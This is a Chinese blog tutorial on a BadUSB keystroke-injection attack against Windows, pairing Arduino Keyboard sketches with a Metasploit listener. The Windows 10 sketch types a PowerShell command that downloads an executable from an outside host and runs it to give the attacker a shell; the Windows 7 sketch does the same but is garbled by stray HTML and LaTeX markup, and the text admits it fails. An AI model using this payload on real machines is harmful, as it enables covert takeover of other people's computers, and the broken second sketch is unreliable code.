badusb攻击windows10（msfconsole版）

准备

• badusb
• Arduino

下载软件

点击下载

运行软件

TIM截图20190305105048.png

在工具菜单中 选择，选择badusb的端口和开发版。

TIM截图20190304122136.png

注入代码

windows10系统

#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("powershell -Command $clnt = new-object System.Net.WebClient;$url= 'https://bbskali.cn/8888.exe';$file = ' %HOMEPATH%\\windows.exe ';$clnt.DownloadFile($url,$file);%HOMEPATH%\\windows.exe;");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);

}

void loop()//循环
{
}

Shell

复制

windows7系统

#include <Keyboard.h>

void setup() {//初始化

Keyboard.begin();//开始键盘通讯

delay(5000);//延时

Keyboard.press(KEY_LEFT_GUI);//win键

delay(500);

Keyboard.press(‘r’);//r键

delay(500);

Keyboard.release(KEY_LEFT_GUI);

Keyboard.release(‘r’);

delay(500);

Keyboard.press(KEY_CAPS_LOCK);

Keyboard.release(KEY_CAPS_LOCK);

Keyboard.println(“CMD.EXE /t:01 /k MODE con: cols=16 lines=2”);

delay(1000);

Keyboard.println(“POWERSHELL -cOMMAND $CLNT</span>=NEW-OBJECTsYSTEM.nET.wEBcLIENT;<spanclass="tokenvariable">$URL= ‘https://bbskali.cn/8888.exe’;$$\begin{gathered} FILE</span>{=}^{\prime }c: \\ X.EX{E}^{\prime };<spanclass="tokenvariable"> \end{gathered}$$CLNT.dOWNLOADfILE($URL</span>,<spanclass="tokenvariable">$FILE);”);

delay(3000);

Keyboard.println(“C:\X.EXE&EXIT”);

Keyboard.press(KEY_CAPS_LOCK);

Keyboard.release(KEY_CAPS_LOCK);

Keyboard.end();//结束键盘通讯

}

void loop()//循环

{

}

Shell

复制

其他代码

传送门

编译上传

TIM截图20190304122308.png

成功如下：

TIM截图20190304122902.png

配置监听

在msf中我们配置参数，插入badusb即可得到shell,需要注意的是，本代码仅支持win10对于win7和xp由于不能直接用powershell下载，所以以上代码不能实现。

---

版权属于：逍遥子

本文链接：https://blog.bbskali.cn/index.php/archives/806/

转载时须注明出处及本声明